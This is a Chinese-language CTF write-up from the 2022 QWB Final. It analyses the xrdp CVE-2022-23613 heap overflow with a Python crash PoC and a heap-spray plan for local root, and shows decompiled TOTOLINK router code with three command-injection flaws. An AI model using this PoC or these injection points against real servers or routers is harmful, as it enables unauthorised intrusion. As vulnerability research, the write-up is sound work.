Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

2022 QWB Final RealWorld Challenge Writeup

2022-08-24 Updated on 2026-02-11 VulnerabilityAnalysis

Table of Contents

  1. RDP
    1. 漏洞分析
    2. 利用思路
  2. totox/3
    1. totox/1 CVE-2021-27710
    2. totox/2 CVE-2021-27708
    3. totox/3 CVE-2022-27005
  3. 参考链接
前言

今年与0x300R的小伙伴参与了 2022 QWB Final , 在这次比赛中我和小伙伴们 解决了不少 RW 题目, 而我本人参与的一共有三道路由器题、一道 RDP 提权 、 一道 VPN 题目。在此我简单记述下其中的路由器题以及 RDP 题目, 而 VPN 题目涉及一些别的事情,就不方便公开。

RDP

题目要求我们攻击 XRDP 然后进行本地提权的效果 , 获取ubuntu操作系统root权限, 并在/目录成功写入内容包含队伍特征的flag文件。

程序版本:

1
2
3
4
5
6
7
8
9

root@RDP:/home/rdp/Desktop# xrdp-sesman -version
xrdp-sesman 0.9.18
The xrdp session manager
Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.
See https://github.com/neutrinolabs/xrdp for more information.

Configure options:

该版本受到 CVE-2022-23613 影响

漏洞分析

补丁代码: https://github.com/neutrinolabs/xrdp/commit/4def30ab8ea445cdc06832a44c3ec40a506a0ffa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int
sesman_data_in(struct trans *self)
{
+ #define HEADER_SIZE 8
int version;
int size;

if (self->extra_flags == 0)
{
in_uint32_be(self->in_s, version);
in_uint32_be(self->in_s, size);
- if (size > self->in_s->size)
+ if (size < HEADER_SIZE || size > self->in_s->size)
{
- LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");
+ LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size);
return 1;
}
self->header_size = size;
@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self)
return 1;
}
/* reset for next message */
- self->header_size = 8;
+ self->header_size = HEADER_SIZE;
self->extra_flags = 0;
init_stream(self->in_s, 0); /* Reset input stream pointers */
}
return 0;
+ #undef HEADER_SIZE
}

/******************************************************************************/

通过分析补丁,我们知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//https://github.com/neutrinolabs/xrdp/blob/934a91fc29c048acff74db911aed60ba67f9ff79/sesman/sesman.c#L282

sesman_data_in(struct trans *self)
{
int version;
int size;

if (self->extra_flags == 0)
{
in_uint32_be(self->in_s, version);
in_uint32_be(self->in_s, size);
if (size > self->in_s->size)
{
LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");
return 1;
}
self->header_size = size;
self->extra_flags = 1;
}

这里被加了检查的 size 会被赋值到 self->header_size 中, 如果我们将 size 即 self->header_size 设置成一个0x80000000,

那么可能在 溢出点: https://github.com/neutrinolabs/xrdp/blob/934a91fc29c048acff74db911aed60ba67f9ff79/common/trans.c#L383

1
2
3
4
5
6
7
8
```c
}
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;

if (to_read > 0)
{
read_bytes = self->trans_recv(self, self->in_s->end, to_read); // trans_tcp_recv

造成缓冲区溢出:

因此我们尝试构造如下 PoC:

1
2
3
4
5
6
7
8
9
10
11
12
import socket
import struct
if __name__ == "__main__":
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",3350))
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
s.send(sdata)
print(sdata)
sdata = b'C'*0x10000
s.send(sdata)

并在对应的地方下断点, 在调试器中可以看到:

r8d 为 self->header_size 0x80000000,read_so_far为0x9` ,

相减完后是个负数,在拷贝的时候会发生 heap overflow

利用思路

出题人修改了 MAX_SHORT_LIVED_CONNECTIONS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/sesman/sesman.c b/sesman/sesman.c
index a8576905..38a2f642 100644
--- a/sesman/sesman.c
+++ b/sesman/sesman.c
@@ -40,7 +40,7 @@
* At the moment, all connections to sesman are short-lived. This may change
* in the future
*/
-#define MAX_SHORT_LIVED_CONNECTIONS 16
+#define MAX_SHORT_LIVED_CONNECTIONS 512

struct sesman_startup_params
{

因此我们可以通过堆喷,覆盖结构体指针来达到控制 PC 的目的, 通过代码阅读,我们发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct trans *
trans_create(int mode, int in_size, int out_size)
{
struct trans *self = (struct trans *) NULL;

self = (struct trans *) g_malloc(sizeof(struct trans), 1);

if (self != NULL)
{
make_stream(self->in_s);
init_stream(self->in_s, in_size);
make_stream(self->out_s);
init_stream(self->out_s, out_size);
self->mode = mode;
self->tls = 0;
/* assign tcp calls by default */
self->trans_recv = trans_tcp_recv;
self->trans_send = trans_tcp_send;
self->trans_can_recv = trans_tcp_can_recv;
}

return self;
}

我们可以通过使用 trans_create 函数来做堆喷。且分配出来的 trans *self 对象拥有函数指针,我们只需覆盖 self->trans_recv 就能控制 PC。另外程序没有开启 PIE, 且程序本身有 g_execlp3 之类的执行代码的函,题目又只要求本地提权即可,所以利用思路比较清晰。

  1. 创建多个链接,进行堆喷
  2. 溢出覆盖 self->trans_recv 为 g_execlp3 , 且控制 RDI 为我们执行的命令 (要绝对路径)
  3. 调用 self->trans_recv 执行任意命令

totox/3

题目描述:生死竞速,本题分为三题,需要选手从三个不同路径(不同路径指从三个不同实际产生命令注入、破坏堆栈结构等内容)实现对TOTOLINK的攻击。

这其实是一个路由器题目, 主办方要求我们通过三个不同的路径攻破该路由器, 即需要使用到三个不同的漏洞。 固件版本为: X5000R_固件_V9.1.0u.6118_B20201102

通过网上查阅资料, 我们发现该款路由器拥有许多的 CVE 编号, 并且题目的这个版本是受到影响的。这里简单分析下我们用到的三个漏洞

totox/1 CVE-2021-27710

1
2
3
4
5
.data:0044A520 aSettraceroutec:.ascii "setTracerouteCfg"<0>
.data:0044A531 .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.data:0044A531 .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.data:0044A531 .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.data:0044A560 .word sub_41F6A0

在cstecgi.cgi中的setTracerouteCfg 接口会调用 sub_41F6A0 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall sub_41F7E8(int a1)
{
const char *Var; // $s2
int v3; // $v0
int v4; // $v0
char v6[128]; // [sp+18h] [-80h] BYREF

memset(v6, 0, sizeof(v6));
Var = (const char *)websGetVar(a1, "ip", "www.baidu.com");
v3 = websGetVar(a1, "num", &byte_437F70);
v4 = atoi(v3);
sprintf(v6, "ping %s -w %d &>/var/log/pingCheck", Var, v4);
doSystem(v6);
setResponse(&word_436104, "reserv");
return 1;
}

此处的 ip 参数可控,存在命令注入。

totox/2 CVE-2021-27708

在cstecgi.cgi中的函数 sub_41F6A0 , 即 setTracerouteCfg 接口有如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
const char *Var; // $s2
int v3; // $v0
int v4; // $v0
char v6[128]; // [sp+18h] [-80h] BYREF

memset(v6, 0, sizeof(v6));
Var = (const char *)websGetVar(a1, "command", "www.baidu.com");
v3 = websGetVar(a1, "num", &byte_437F70);
v4 = atoi(v3);
sprintf(v6, "traceroute -m %d %s&>/var/log/traceRouteLog", v4, Var);
doSystem(v6);
setResponse(&word_436104, "reserv");
return 1;
}

其中 command 参数可控, 存在命令注入。

totox/3 CVE-2022-27005

在cstecgi.cgi中的 setWanCfg 接口中 , 即 sub_4212CC 函数里,有如下代码片断:

1
2
3
4
5
6
7
8
9
10
11
12
  default:
strcpy(v61, "dhcp");
v48 = (const char *)websGetVar(a1, "hostName", &byte_437F70);
if ( *v48 )
{
nvram_set("wan_hostname", v48);
doSystem("echo '%s' > /proc/sys/kernel/hostname", v48);
}
v49 = websGetVar(a1, "dhcpMtu", "1500");
nvram_set("wan_mtu", v49);
break;
}

其中, hostname 可被用户控制, 存在命令注入。

参考链接

CVE-2022-23613-Patched

CVE-2021-27710 totolink command inject

CVE-2021-27008 totolink command inject

CVE-2022-27005 totolink command inject

分类: VulnerabilityAnalysis
标签: pwn cve-2022-23613 cve-2022-27005 cve-2021-27710 cve-2021-27708
← Prev Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析
Next → PSV-2020-0437 Buffer Overflow on Some Netgear Routers

Comments

© 2015 - 2026 Swing
Powered by Hexo Hexo Theme Bloom